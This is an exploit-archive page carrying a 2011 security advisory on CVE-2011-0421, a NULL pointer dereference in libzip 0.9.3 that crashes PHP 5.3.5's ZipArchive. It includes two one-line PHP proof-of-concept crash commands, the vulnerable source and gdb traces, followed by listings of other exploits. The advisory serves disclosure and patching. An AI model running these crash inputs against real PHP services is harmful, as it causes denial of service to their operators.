Menu

Search for hundreds of thousands of exploits

"PHP 5.3.5 libzip 0.9.3 - _zip_name_locate Null Pointer Dereference"

Author

Exploit author

"Maksymilian Arciemowicz"

Platform

Exploit platform

linux

Release date

Exploit published date

2011-03-18

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
Source: http://securityreason.com/securityalert/8146

libzip 0.9.3 _zip_name_locate NULL Pointer Dereference (incl PHP 5.3.5)

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://cxib.net/
Date:
- Dis.: 03.01.2011
- Pub.: 18.03.2011

CVE: CVE-2011-0421
CERT: VU#325039

Affected Software:
- libzip 0.9.3
- PHP 5.3.5 (fixed 5.3.6)

Original URL:
http://securityreason.com/achievement_securityalert/96


--- 0.Description ---
libzip is a C library for reading, creating, and modifying zip archives.
Files can be added from data buffers, files, or compressed data copied
directly from other zip archives. Changes made without closing the archive
can be reverted. The API is documented by man pages.


--- 1.Description ---
libzip allows remote and local attackers to Denial of Service (Null Pointer
Dereference) if ZIP_FL_UNCHANGED flag is set.

-lib/zip_name_locate.c---
int
_zip_name_locate(struct zip *za, const char *fname, int flags,
struct zip_error *error)
{
int (*cmp)(const char *, const char *);
const char *fn, *p;
int i, n;

if (fname == NULL) {
_zip_error_set(error, ZIP_ER_INVAL, 0);
return -1;
}

cmp = (flags & ZIP_FL_NOCASE) ? strcasecmp : strcmp;

n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <=
CRASH HERE
-lib/zip_name_locate.c---

for empty zip file and ZIP_FL_UNCHANGED flag, libzip should crash.
Currently for PHP, the security impact we estimate only like a remote DoS,
so risk is low. 

Project using libzip: KDE Utilities (4.x branch), MySQL Workbench, ckmame,
fuse-zip, php zip extension, Endeavour2, FreeDink

Better analysis based on PHP code ZipArchive, bellow


--- 2. PHP 5.3.5 ZipArchive() ---
PoC1:
php -r '$nx=new
ZipArchive();$nx->open("/dev/null");$nx->locateName("a",ZIPARCHIVE::FL_UNCH
ANGED);'

PoC2:
php -r '$nx=new
ZipArchive();$nx->open("empty.zip");$nx->statName("a",ZIPARCHIVE::FL_UNCHAN
GED);'

Let's
-php_zip.c-------------------------------------
...
static ZIPARCHIVE_METHOD(locateName)
{
...
ZIP_FROM_OBJECT(intern, this);

if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|l",
&name, &name_len, &flags) == FAILURE) {
return;
}
...
idx = (long)zip_name_locate(intern, (const char *)name, flags); <=== CRASH
IN THIS FUNCTION
...
-php_zip.c-------------------------------------

and let`s see

-zip_name_locate.c-------------------------------------
ZIP_EXTERN(int)
zip_name_locate(struct zip *za, const char *fname, int flags)
{
return _zip_name_locate(za, fname, flags, &za->error);
}


int
_zip_name_locate(struct zip *za, const char *fname, int flags,
struct zip_error *error)
{
int (*cmp)(const char *, const char *);
const char *fn, *p;
int i, n;

if (fname == NULL) {
_zip_error_set(error, ZIP_ER_INVAL, 0);
return -1;
}

cmp = (flags & ZIP_FL_NOCASE) ? strcmpi : strcmp;

n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry : za->nentry; <===
CRASH HERE IF ZIPARCHIVE::FL_UNCHANGED
for (i=0; i<n; i++) {
...
-zip_name_locate.c-------------------------------------

(gdb) bt
#0 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x116ac70
"a", flags=32767, 
error=0xffffffff00000000) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
#1 0x00000000006381e6 in c_ziparchive_locateName (ht=2,
return_value=0x1169418, return_value_ptr=0xffffffff, 
this_ptr=0x118d530, return_value_used=-176126592) at
/build/buildd/php5-5.3.3/ext/zip/php_zip.c:1877
#2 0x00000000006e986a in zend_do_fcall_common_helper_SPEC
(execute_data=0x7ffff7eb7068)
at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316
#3 0x00000000006c0b00 in execute (op_array=0x1168568) at
/build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:107
...

Program received signal SIGSEGV, Segmentation fault.
0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x1169400
"9223372036854775808", flags=32767, 
error=0xffffffff00000000) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
65 n = (flags & ZIP_FL_UNCHANGED) ? za->cdir->nentry :
za->nentry;
(gdb) print za->cdir->nentry
Cannot access memory at address 0x8
(gdb) print za->nentry
$21 = 0

because 

(gdb) x/i $rip
=> 0x6407cc <_zip_name_locate+236>: mov 0x8(%rax),%eax
(gdb) x/i $rax
0x0: Cannot access memory at address 0x0
(gdb) x/i $eax

call to zip_name_locate

(gdb) n
1877 idx = (long)zip_name_locate(intern, (const char *)name,
flags);
(gdb) print intern
$24 = (struct zip *) 0x118d580
(gdb) x/x intern
0x118d580: 0x0118d220
(gdb) x/40x intern
0x118d580: 0x0118d220 0x00000000 0x0118d340 0x00000000
0x118d590: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5b0: 0x00000000 0x00000000 0xffffffff 0x00000000
0x118d5c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d5e0: 0x00000000 0x00000000 0x00020a21 0x00000000
0x118d5f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d600: 0x00000000 0x00000000 0x00000000 0x00000000
0x118d610: 0x00000000 0x00000000 0x00000000 0x00000000


next PoC2

$nx=new
ZipArchive();$nx->open("empty.zip");$nx->statName("9223372036854775808","92
23372036854775807");
rogram received signal SIGSEGV, Segmentation fault.
0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x11693f0
"9223372036854775808", flags=32767, 
error=0xffffffffffffdac0) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
65 in /build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c
(gdb) bt
#0 0x00000000006407cc in _zip_name_locate (za=0x118d520, fname=0x11693f0
"9223372036854775808", flags=32767, 
error=0xffffffffffffdac0) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_name_locate.c:65
#1 0x0000000000640a50 in zip_stat (za=0x118d520, fname=0x11693f0
"9223372036854775808", flags=-1, 
st=0x7fffffffda70) at
/build/buildd/php5-5.3.3/ext/zip/lib/zip_stat.c:45
#2 0x0000000000638451 in c_ziparchive_statName (ht=2,
return_value=0x1169480, return_value_ptr=0xffffffff, 
this_ptr=0x118d530, return_value_used=-176126592) at
/build/buildd/php5-5.3.3/ext/zip/php_zip.c:1818
#3 0x00000000006e986a in zend_do_fcall_common_helper_SPEC
(execute_data=0x7ffff7eb7068)
at /build/buildd/php5-5.3.3/Zend/zend_vm_execute.h:316


--- 3. Fix ---
This issue has been fixed with PHP Team, so big thanks guys.

http://www.php.net/ChangeLog-5.php#5.3.6

http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/lib/zip_name
_locate.c?annotate=307867


--- 4. Greets ---
Special thanks for Pierre Joye and Stas

sp3x, Infospec,


--- 5. Contact ---
Author: Maksymilian Arciemowicz

Email:
- cxib {a\./t] securityreason [d=t} com

GPG:
- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://cxib.net/
Release Date Title Type Platform Author
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "NewsLister - Authenticated Persistent Cross-Site Scripting" webapps multiple "Emre Aslan"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "DotCMS 20.11 - Stored Cross-Site Scripting" webapps multiple "Hardik Solanki"
2020-12-02 "Artworks Gallery 1.0 - Arbitrary File Upload RCE (Authenticated) via Edit Profile" webapps multiple "Shahrukh Iqbal Mirza"
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
Release Date Title Type Platform Author
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-11-27 "libupnp 1.6.18 - Stack-based buffer overflow (DoS)" dos linux "Patrik Lantz"
2020-11-24 "ZeroShell 3.9.0 - 'cgi-bin/kerbynet' Remote Root Command Injection (Metasploit)" webapps linux "Giuseppe Fuggiano"
2020-10-28 "Blueman < 2.1.4 - Local Privilege Escalation" local linux "Vaisha Bernard"
2020-10-28 "Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion" webapps linux "Ivo Palazzolo"
2020-10-28 "PackageKit < 1.1.13 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-10-28 "aptdaemon < 1.1.1 - File Existence Disclosure" local linux "Vaisha Bernard"
2020-09-11 "Gnome Fonts Viewer 3.34.0 - Heap Corruption" local linux "Cody Winkler"
2020-07-10 "Aruba ClearPass Policy Manager 6.7.0 - Unauthenticated Remote Command Execution" remote linux SpicyItalian
2020-07-06 "Grafana 7.0.1 - Denial of Service (PoC)" dos linux mostwanted002
Release Date Title Type Platform Author
2016-12-12 "iOS 10.1.x - Certificate File Memory Corruption" dos ios "Maksymilian Arciemowicz"
2015-12-09 "Apple Mac OSX 10.11 - FTS Deep Structure of the FileSystem Buffer Overflow" dos osx "Maksymilian Arciemowicz"
2014-04-08 "Apple Mac OSX 10.9 - Hard Link Memory Corruption" dos osx "Maksymilian Arciemowicz"
2013-02-05 "FreeBSD 9.1 - 'ftpd' Remote Denial of Service" dos freebsd "Maksymilian Arciemowicz"
2012-01-14 "PHP 5.3.8 - Multiple Vulnerabilities" dos multiple "Maksymilian Arciemowicz"
2011-11-04 "Libc - 'regcomp()' Stack Exhaustion Denial of Service" dos multiple "Maksymilian Arciemowicz"
2011-08-19 "PHP < 5.3.7 - Multiple Null Pointer Dereference Denial of Service Vulnerabilities" dos php "Maksymilian Arciemowicz"
2011-07-01 "NetBSD 5.1 - 'libc/net' Multiple Stack Buffer Overflows" remote bsd "Maksymilian Arciemowicz"
2011-05-12 "Apache 1.4/2.2.x - APR 'apr_fnmatch()' Denial of Service" dos linux "Maksymilian Arciemowicz"
2011-03-18 "PHP 5.3.5 libzip 0.9.3 - _zip_name_locate Null Pointer Dereference" dos linux "Maksymilian Arciemowicz"
2011-03-02 "vsftpd 2.3.2 - Denial of Service" dos linux "Maksymilian Arciemowicz"
2011-02-17 "PHP 5.3.5 - 'grapheme_extract()' Null Pointer Dereference Denial of Service" dos php "Maksymilian Arciemowicz"
2011-02-17 "PHP 5.3.5 - 'grapheme_extract()' Null Pointer Dereference" dos linux "Maksymilian Arciemowicz"
2011-01-07 "GNU libc/regcomp(3) - Multiple Vulnerabilities" dos linux "Maksymilian Arciemowicz"
2010-12-10 "PHP 5.3.3 - NumberFormatter::getSymbol Integer Overflow" dos multiple "Maksymilian Arciemowicz"
2010-12-07 "GNU glibc - 'regcomp()' Stack Exhaustion Denial of Service" dos linux "Maksymilian Arciemowicz"
2010-11-05 "PHP 5.3.3/5.2.14 - ZipArchive::getArchiveComment Null Pointer Dereference" dos php "Maksymilian Arciemowicz"
2010-10-07 "libc/glob(3) - Resource Exhaustion / Remote ftpd-anonymous (Denial of Service)" dos multiple "Maksymilian Arciemowicz"
2010-09-08 "FreeBSD 8.1/7.3 - 'vm.pmap' Local Race Condition" dos bsd "Maksymilian Arciemowicz"
2010-05-27 "FreeBSD 8.0 - 'ftpd' (FreeBSD-SA-10:05) Off-By-One (PoC)" dos freebsd "Maksymilian Arciemowicz"
2010-05-21 "Sun Solaris 10 - Nested Directory Tree Local Denial of Service" dos solaris "Maksymilian Arciemowicz"
2010-05-21 "Sun Solaris 10 - 'in.ftpd' Long Command Handling Security" dos solaris "Maksymilian Arciemowicz"
2010-04-24 "Apple Mac OSX 10.6 - HFS FileSystem (Denial of Service)" dos osx "Maksymilian Arciemowicz"
2010-01-08 "MATLAB R2009b - 'dtoa' Implementation Memory Corruption" dos linux "Maksymilian Arciemowicz"
2010-01-08 "Apple Mac OSX 10.x - 'libc/strtod(3)' Memory Corruption" dos osx "Maksymilian Arciemowicz"
2009-12-19 "PHP 5.2.12/5.3.1 - 'symlink()' open_basedir Bypass" local php "Maksymilian Arciemowicz"
2009-12-03 "PHP 5.2.10/5.3.0 - 'ini_restore()' Memory Information Disclosure" local php "Maksymilian Arciemowicz"
2009-11-20 "Opera Web Browser 10.01 - 'dtoa()' Remote Code Execution" remote multiple "Maksymilian Arciemowicz"
2009-11-20 "KDE 4.3.3 - KDELibs 'dtoa()' Remote Code Execution" remote linux "Maksymilian Arciemowicz"
2009-11-13 "PHP 5.2.11/5.3.0 - Multiple Vulnerabilities" remote php "Maksymilian Arciemowicz"
import requests
response = requests.get('http://127.0.0.1:8181?format=json')

For full documentation follow the link above

Cipherscan. Find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.